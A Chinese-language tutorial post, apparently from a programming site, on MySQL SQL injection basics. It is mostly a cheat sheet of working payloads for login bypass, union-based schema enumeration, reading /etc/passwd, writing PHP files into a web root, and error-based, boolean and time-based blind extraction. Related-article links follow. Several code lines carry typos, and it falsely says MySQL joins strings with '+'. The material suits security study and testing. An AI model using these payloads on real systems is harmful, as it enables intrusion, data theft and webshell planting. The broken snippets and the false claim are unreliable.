sql注入之必備的基礎(chǔ)知識(shí)
什么是SQL注入(SQL Injection)
所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁(yè)面請(qǐng)求的查詢字符串,欺騙服務(wù)器執(zhí)行惡意的SQL命令。在某些表單中,用戶輸入的內(nèi)容直接用來構(gòu)造(或者影響)動(dòng)態(tài)SQL命令,或作為存儲(chǔ)過程的輸入?yún)?shù),這類表單特別容易受到SQL注入式攻擊。
mysql常用注釋
#
--[空格]或者是--+
/*…*/
在注意過程中,這些注釋可能都需要進(jìn)行urlencode。
mysql認(rèn)證繞過
;%00
‘ or 1=1 #
‘ /*!or */ 1=1 --+
mysql連接符
mysql中使用+來進(jìn)行連接。
select * from users where username='zhangsan' and "ab"="a"+"b";
mysql中常見函數(shù)
在進(jìn)行sql注入過程中,會(huì)使用到mysql中的內(nèi)置函數(shù)。在內(nèi)置函數(shù)中,又分為獲取信息的函數(shù)和功能函數(shù)。
信息函數(shù)是用來獲取mysql中的數(shù)據(jù)庫(kù)的信息,功能函數(shù)就是傳統(tǒng)的函數(shù)用來完成某項(xiàng)操作。
常用的信息函數(shù)有:
database()
,用于獲取當(dāng)前所使用的數(shù)據(jù)庫(kù)信息
version():
返回?cái)?shù)據(jù)庫(kù)的版本,等價(jià)于@@version
user():
返回當(dāng)前的用戶,等價(jià)如current_user參數(shù)。如:
select user(); #root@localhost select current_user; #root@localhost
@@datadir
,獲取數(shù)據(jù)庫(kù)的存儲(chǔ)位置。
select @@datadir; #D:\xampp\mysql\data\
常見的功能函數(shù)有:
load_file():
從計(jì)算機(jī)中載入文件,讀取文件中的數(shù)據(jù)。
select * from users union select 1,load_file('/etc/passwd'),3; select * from users union select 1,load_file(0x2F6574632F706173737764),3; #使用16進(jìn)制繞過單引號(hào)限制
into outfile:
寫入文件,前提是具有寫入權(quán)限
select '<?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php'; select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';
concat():
返回結(jié)果為連接參數(shù)產(chǎn)生的字符串。如果其中一個(gè)參數(shù)為null,則返回值為null。
用法如下:
select concat(username,password)from users;
*concat_ws()
:是concat_ws()
的特殊形式,第一個(gè)參數(shù)是分隔符,剩下的參數(shù)就是字段名。
select concat_ws(',',username,password) from users;
group_concat()
:用于合并多條記錄中的結(jié)果。
用法如下:
select group_concat(username) from users; #返回的就是users表中所有的用戶名,并且是作為一條記錄返回。
subtring()
,substr():
用于截?cái)嘧址?。用法?substr(str,pos,length)
,注意pos是從1開始的。
select substr((select database()),1,1);
ascii():
用法返回字符所對(duì)應(yīng)的ascii值。
select ascii('a'); #97
length():
返回字符串的長(zhǎng)度。
如:
select length("123456") #返回6
is(exp1,exp2,exp2):
如果exp1的表達(dá)式是True,則返回exp2;否則返回exp3。
如:
select 1,2,if(1=1,3,-1) #1,2,3 selecrt 1,2,if(1=2,3,-1) #1,2,-1
以上就是在進(jìn)行sql注入工程中常用的函數(shù)。當(dāng)然還存在一些使用的不是很多的函數(shù)。
now():
返回當(dāng)前的系統(tǒng)時(shí)間
hex():
返回字符串的16進(jìn)制
unhex():
反向的hex()的16進(jìn)制
@@basedir():
反向mysql的安裝目錄
@@versin_compile_os:
操作系統(tǒng)
mysql數(shù)據(jù)庫(kù)元信息
在mysql中存在information_schema
是一個(gè)信息數(shù)據(jù)庫(kù),在這個(gè)數(shù)據(jù)庫(kù)中保存了Mysql服務(wù)器所保存的所有的其他數(shù)據(jù)庫(kù)的信息,如數(shù)據(jù)庫(kù)名,數(shù)據(jù)庫(kù)的表,表的字段名稱
和訪問權(quán)限。在informa_schema
中常用的表有:
schemata:存儲(chǔ)了mysql中所有的數(shù)據(jù)庫(kù)信息,返回的內(nèi)容與show databases的結(jié)果是一樣的。
tables:存儲(chǔ)了數(shù)據(jù)庫(kù)中的表的信息。詳細(xì)地描述了某個(gè)表屬于哪個(gè)schema,表類型,表引擎。
show tables from secuiry的結(jié)果就是來自這個(gè)表
columns:詳細(xì)地描述了某張表的所有的列以及每個(gè)列的信息。
show columns from users的結(jié)果就是來自這個(gè)表
下面就是利用以上的3個(gè)表來獲取數(shù)據(jù)庫(kù)的信息。
select database(); #查選數(shù)據(jù)庫(kù) select schema_name from information_schema.schemata limit 0,1 #查詢數(shù)據(jù)庫(kù) select table_name from information_schema.tables where table_schema=database() limit 0,1; #查詢表 select column_name from information_schema.columns where table_name='users' limit 0,1; #查詢列
sql注入類型
sql注入類型大致可以分為常規(guī)的sql注入和sql盲注。sql盲注又可以分為基于時(shí)間的盲注和基于網(wǎng)頁(yè)內(nèi)容的盲注。
關(guān)于sql的盲注,網(wǎng)上也有很多的說明,這里也不做過多的解釋。關(guān)于盲注的概念,有具體的例子就方便進(jìn)行說明。
延時(shí)注入中,常用的函數(shù)就包括了if()
和sleep()
函數(shù)。
基本的sql表達(dá)式如下:
select * from users where id=1 and if(length(user())=14,sleep(3),1); select * from users where id=1 and if(mid(user(),1,1)='r',sleep(3),1);
寬字節(jié)注入
關(guān)于寬字節(jié)注入,可以參考寬字節(jié)注入詳解。寬字節(jié)輸入一般是由于網(wǎng)頁(yè)編碼與數(shù)據(jù)庫(kù)的編碼不匹配造成的。對(duì)于寬字節(jié)注入,使用%d5或%df繞過
mysql常用語(yǔ)句總結(jié)
常規(guī)注入
1' order by num # 確定字段長(zhǎng)度 1' union select 1,2,3 # 確定字段長(zhǎng)度 -1' union select 1,2,3 # 判斷頁(yè)面中顯示的字段 -1' union select 1,2,group_concat(schema_name) from information_schema.schemata #顯示mysql中所有的數(shù)據(jù)庫(kù) -1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) # -1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 # -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 # -1' union select 1,2,3 AND '1'='1 在注釋符無法使用的情況下
雙重SQL查選
select concat(0x3a,0x3a,(select database()),0x3a,0x3a); select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables; select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #這種sql語(yǔ)句的寫法,常用于sql的盲注。得到數(shù)據(jù)庫(kù)的信息 select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #得到數(shù)據(jù)庫(kù)的表的信息 #利用姿勢(shì)如下: 1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+
這種利用姿勢(shì)是通過mysql執(zhí)行sql命令時(shí)的報(bào)錯(cuò)信息來得到所需要的信息的,在接下來的文章中會(huì)對(duì)這種寫法進(jìn)行詳細(xì)地分析。
bool盲注
1' and ascii(substr(select database(),1,1))>99 1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90
bool盲注就是根據(jù)sql語(yǔ)句執(zhí)行返回值是True或False對(duì)應(yīng)的頁(yè)面內(nèi)容會(huì)發(fā)生,來得到信息。
time盲注
1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) + 1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+
上述的2種寫法都是等價(jià)的,time盲注余常規(guī)的sql注入方法不同。time盲注需要一般需要使用到if()
和sleep()
函數(shù)。然后根據(jù)頁(yè)面返回內(nèi)容的長(zhǎng)度,進(jìn)而知道sleep()
函數(shù)是否有執(zhí)行。
根據(jù)sleep()
函數(shù)是否執(zhí)行來得到所需的信息。
總結(jié)
以上就是sql注入之必備的基礎(chǔ)知識(shí),接下來的文章將會(huì)通過實(shí)例詳細(xì)地講解sql注入中的知識(shí),今天的這篇文章也主要是作為一個(gè)基礎(chǔ)知識(shí)。對(duì)sql注入感興趣的朋友們請(qǐng)繼續(xù)關(guān)注腳本之家哦。
相關(guān)文章
Dbeaver做數(shù)據(jù)遷移的詳細(xì)過程記錄
DBeaver是一款跨平臺(tái)的通用數(shù)據(jù)庫(kù)開源管理工具,支持 MySQL,PostgreSQL,Oracle,DB2,MSSQL,Sybase,Mimer,HSQLDB,Derby以及其他兼容JDBC的數(shù)據(jù)庫(kù),下面這篇文章主要給大家介紹了關(guān)于Dbeaver做數(shù)據(jù)遷移的詳細(xì)過程,需要的朋友可以參考下2023-05-05使用sqlalchemy-gbasedbt連接GBase 8s數(shù)據(jù)庫(kù)的步驟詳解
這篇文章主要介紹了使用sqlalchemy-gbasedbt連接GBase 8s數(shù)據(jù)庫(kù)的步驟詳解,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2023-04-04SQL關(guān)系模型的知識(shí)梳理總結(jié)
這篇文章主要為大家介紹了SQL關(guān)系模型,文中對(duì)SQL關(guān)系模型的知識(shí)作了詳細(xì)的梳理總結(jié),有需要的朋友可以借鑒參考下希望能夠有所幫助2021-10-10問個(gè)高難度的復(fù)雜查詢(在一個(gè)時(shí)間段內(nèi)的間隔查詢)
問個(gè)高難度的復(fù)雜查詢(在一個(gè)時(shí)間段內(nèi)的間隔查詢)...2007-04-04數(shù)據(jù)庫(kù)之SQL注入原理以及過程的簡(jiǎn)單介紹
這篇文章主要介紹了數(shù)據(jù)庫(kù)之SQL注入原理以及過程的簡(jiǎn)單介紹,本篇文章通過簡(jiǎn)要的案例,講解了該項(xiàng)技術(shù)的了解與使用,以下就是詳細(xì)內(nèi)容,需要的朋友可以參考下2021-07-07關(guān)于Navicat連接MySql數(shù)據(jù)庫(kù)慢的問題
這篇文章主要介紹了關(guān)于Navicat連接MySql數(shù)據(jù)庫(kù)慢的問題,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2021-03-03在PostgreSQL中使用日期類型時(shí)一些需要注意的地方
這篇文章主要介紹了在PostgreSQL中使用日期類型時(shí)一些需要注意的地方,包括時(shí)間戳和日期轉(zhuǎn)換等方面,需要的朋友可以參考下2015-04-04大數(shù)據(jù)Spark Sql中日期轉(zhuǎn)換FROM_UNIXTIME和UNIX_TIMESTAMP的使用
本文主要介紹了大數(shù)據(jù)Spark Sql中日期轉(zhuǎn)換FROM_UNIXTIME和UNIX_TIMESTAMP的使用,文中通過示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2022-02-02如何解決VisualSVN Server 安裝提示錯(cuò)誤 Repositories is not a valid shor
最近在程序中安裝VisualSVN Server時(shí),總是提示“'Repositories' is not a valid short file name”這個(gè)問題,難為了好長(zhǎng)時(shí)間,最終解決,下面小編把我的解決辦法分享給大家,供大家參考2015-09-09